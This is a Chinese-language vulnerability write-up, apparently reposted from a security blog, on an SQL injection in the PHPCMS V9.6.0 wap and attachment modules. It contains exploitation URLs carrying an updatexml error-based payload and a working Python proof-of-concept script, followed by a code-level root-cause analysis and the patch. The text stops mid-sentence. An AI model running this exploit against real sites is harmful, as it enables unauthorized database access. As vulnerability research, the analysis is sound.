PHPCMS_V9.6.0wap模块SQL注入漏洞分析

环境搭建

参考PHPCMS_V9.2任意文件上传getshell漏洞分析

漏洞复现

此漏洞利用过程可能稍有复杂,我们可分为以下三个步骤:

  • Step1:GET请求访问/index.php?m=wap&c=index&siteid=1

    • 获取set-cookie中的_siteid结尾的 cookie 字段的

  • Step2:1. POST请求访问 /index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26modelid%3D1%26catid%3D1%26f%3DTao

    • 上面访问的url通过URL解码为:index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&id=%*27 and updatexml(1,concat(1,(user())),1)#&m=1&modelid=1&catid=1&f=Tao (报错注入,语句可替换)

    • 2.Step1获取_siteid结尾的 cookie 字段的,赋值给 userid_flash 变量,以post数据提交

    • 获取set-cookie中的_json结尾字段的

  • Step3:访问/index.php?m=content&c=down&a_k=step2获取的_json结尾字段的值

    • eg:/index.php?m=content&c=down&a_k=0e72z-2m8OJyw8injqvbY0xJtR5l5UtndXiFZmxcvK9kHkxN1COlnfyINF38Opx6UcdqlABV2gc-8RuG90sS6e31lJn2mxnkJPnUaQDCTAs0gEsKMnL5CHxl-o1hYg2TWaL5blo9RC8ya0yLkSc5NgzCqfTSgZCAlndhgum-OFk1XGARihPaYUs

Step1:

PHPCMS_V9.6.0wap模块SQL注入漏洞分析

Step2:

PHPCMS_V9.6.0wap模块SQL注入漏洞分析

Step3:

PHPCMS_V9.6.0wap模块SQL注入漏洞分析

老样子,贴个小脚本!

'''
Author: Tao
version: python3
# 本脚本执行返回user()信息
'''
import requests
import sys
# from urllib import parse
import re

def WAP_SQL(url):
   # step1
   url_one = url + '/index.php?m=wap&c=index&siteid=1'
   step1 = requests.get(url_one)
   userid_flash = step1.headers['Set-Cookie'].split('=')[1]

   # step2
   payload = '%*27 and updatexml(1,concat(1,(user())),1)%23&modelid=1&catid=1&m=1&f=Tao'
   url_two = url + r"/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id={}".format(requests.utils.quote(payload)) # 执行SQL语句,此处可修改
   step2 = requests.post(url_two, data={'userid_flash': userid_flash})
   for cookie in step2.cookies:
       if '_att_json' in cookie.name:
           att_json = cookie.value

   # step3
   url_three = url + '/index.php?m=content&c=down&a_k={}'.format(att_json)
   step3 = requests.get(url_three)
   res = re.findall(r"MySQL Error : XPATH syntax error: '(.*?)'",step3.text)
   return res

if __name__ == '__main__':
   url = sys.argv[1]
   result_sql = WAP_SQL(url)
   print(result_sql)

执行效果如下:

PHPCMS_V9.6.0wap模块SQL注入漏洞分析

脚本在对Stpe2那里进行了与手工不一样的处理,原因就是按照手工的方法进行编写的脚本会报错,具体是什么问题以及原因看文尾的分析。>值得一看!!!

漏洞复现

为了更好的理解这个漏洞产生的原因,我们采取的方式是从后往前分析。

根据step3请求的URL地址,可以定位到phpcms\modules\content\down.php文件init函数:

PHPCMS_V9.6.0wap模块SQL注入漏洞分析

上面代码通过GET获取到了$a_k的值,然后将$a_k带入sys_auth函数进行解密(DECODE),至于是如何加密的,我们无需关心,但是我们要知道的是$a_k的值是从拿来的,也就是Step2构造的语句是哪里进行加密处理的,还有就是加密用的key。

执行到17行,此时$a_k={"aid":1,"src":"&id=%27 and updatexml(1,concat(1,(user())),1)#&m=1&modelid=1&catid=1&f=Tao","filename":""},这里还需要注意parse_str这个函数

PHPCMS_V9.6.0wap模块SQL注入漏洞分析

PHPCMS_V9.6.0wap模块SQL注入漏洞分析

通过官方给的例子可知,parse_str会将传入的值根据&进行分割。然后解析注册变量。并且会对内容进行URL解码。

为了更好的理解上面这段话,看下图:

PHPCMS_V9.6.0wap模块SQL注入漏洞分析

由图可知,当执行parse_str函数,他会进行以下步骤:

  • 1.根据&符解析$a_k的值,注册变量

  • 2.将解析后变量的值进行URL解码

PHPCMS_V9.6.0wap模块SQL注入漏洞分析

继续执行,到26进行了SQL语句执行,跟进一下

PHPCMS_V9.6.0wap模块SQL注入漏洞分析

上图可知,执行的SQL语句如下:

SELECT * FROM `phpcmsv96`.`v9_news_data` WHERE  `id` = '' and updatexml(1,concat(1,(user())),1)#' LIMIT 1

我们将语句放到数据库执行一下。

PHPCMS_V9.6.0wap模块SQL注入漏洞分析

正常返回了,但去掉#,报错,如下图:

PHPCMS_V9.6.0wap模块SQL注入漏洞分析

这就是为什么Step2处,构造的SQL报错语句后面添加#进行注释

接下来分析Step2,我们需要弄明白,$a_k的值是怎么得到的,以及为什么POST请求数据中需要添加userid_flash字段和对应的值是怎么来的。

根据Step2的请求,我们定位到/phpcms/modules/attachment/attachments.phpswfupload_json函数。

由于swfupload_json方法是attachments类中的一个方法,我们看看类中的构造函数。(不知道你有没有发现什么)

PHPCMS_V9.6.0wap模块SQL注入漏洞分析

类中的构造函数初始化会判断(21-23行)是否有$this->userid,那么这个$this->userid是怎么来的呢,17行对它进行了赋值

$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));

上面的这一行代码,通过三元运算符判断$_SESSION['userid']是否有值,我们第一步利用中,肯定是没有值的,然后执行(param::get_cookie('_userid'),然后我们cookie也没有_userid,所以最终$this->userid = sys_auth($_POST['userid_flash'],'DECODE'));

PHPCMS_V9.6.0wap模块SQL注入漏洞分析

sys_auth($_POST['userid_flash'],'DECODE'))就是对我们step2中userid_flash的值进行解密,这里跟Step3解密是同一个函数,走下来,$this->userid=1,就过了21行的判断。这也就是为什么POST请求数据中添加userid_flash字段。

接着分析swfupload_json方法

PHPCMS_V9.6.0wap模块SQL注入漏洞分析

这里通过GET请求获取了src的值(报错注入语句)。并且经过了safe_replace函数的处理。跟进一下此还能输,看看如何处理的。

PHPCMS_V9.6.0wap模块SQL注入漏洞分析

这个函数的功能就是对一些特殊字符进行了过滤,当经过这个函数,未作处理$string值为&id=%*27 and updatexml(1,concat(1,(user())),1)#&m=1&modelid=1&catid=1&f=Tao

PHPCMS_V9.6.0wap模块SQL注入漏洞分析

PHPCMS_V9.6.0wap模块SQL注入漏洞分析

走完以后,它将我们传入的%*27变成了%27。(上上图进行过滤的)这也就是为什么要加*

PHPCMS_V9.6.0wap模块SQL注入漏洞分析

继续执行,到244行由于cookie中没有att_json,所以跳转至250行进行设置cookie。

PHPCMS_V9.6.0wap模块SQL注入漏洞分析

可以发现,这里cookie加密也是用的sys_auth函数(跟Step3解密用的同一个函数),这里的key未指定,我们跟进一下这个函数。

PHPCMS_V9.6.0wap模块SQL注入漏洞分析

图中可以得知,当key为空时,使用pc_base::load_config('system','auth_key')。跟Step3使用的一致。

接着分析Step1

前面提到为什么加userid_flash参数,$this->userid = sys_auth($_POST['userid_flash'],'DECODE'));,为了过是否登录的判断。而且这里传入userid_flash的值必须是合法的cookie,也就是通过set_cookie函数设置的cookie,而又因set_cookie函数设置cookie会通过sys_auth加密。这样的解密才有效。

因此我们需要找到从哪里无添加即可获取cookie,这里利用的是wap模块的接口。在phpcms/modules/wap/index.php

PHPCMS_V9.6.0wap模块SQL注入漏洞分析

上图代码处通过GET获取siteid的值,然后为其设置cookie。

整个漏洞的利用流程如下:

PHPCMS_V9.6.0wap模块SQL注入漏洞分析

漏洞修复

PHPCMS_V9.6.0wap模块SQL注入漏洞分析

$a_k进行了过滤,且将$id进行了类型转换

前面提到问题的分析

不知道你们有没有发现,手工利用跟脚本实现的时候不太一样(见下图)

PHPCMS_V9.6.0wap模块SQL注入漏洞分析

正常来说,因为手工利用的时候直接访问/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26modelid%3D1%26catid%3D1%26f%3DTao,那么对应脚本应该如下写:

url_two = url + "/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26modelid%3D1%26catid%3D1%26f%3DTao"# 执行SQL语句,此处可修改

但当我们这么写,执行的时候,会报错,报错如下:

PHPCMS_V9.6.0wap模块SQL注入漏洞分析

刚开始我还以为是URL写错了,后面又测了一遍。发现手工可以,但是带到脚本就不行。由于Step2是本脚中最重要的环节,我就很确切的就把问题定位到了这里。最后实在没办法了(想搞懂为什么会这样),被requests这个库逼到绝路了(脚本这个错排了好久的


版权归原作者所有,如若转载,请注明出处:https://www.ciocso.com/article/761.html

发表评论

登录后才能评论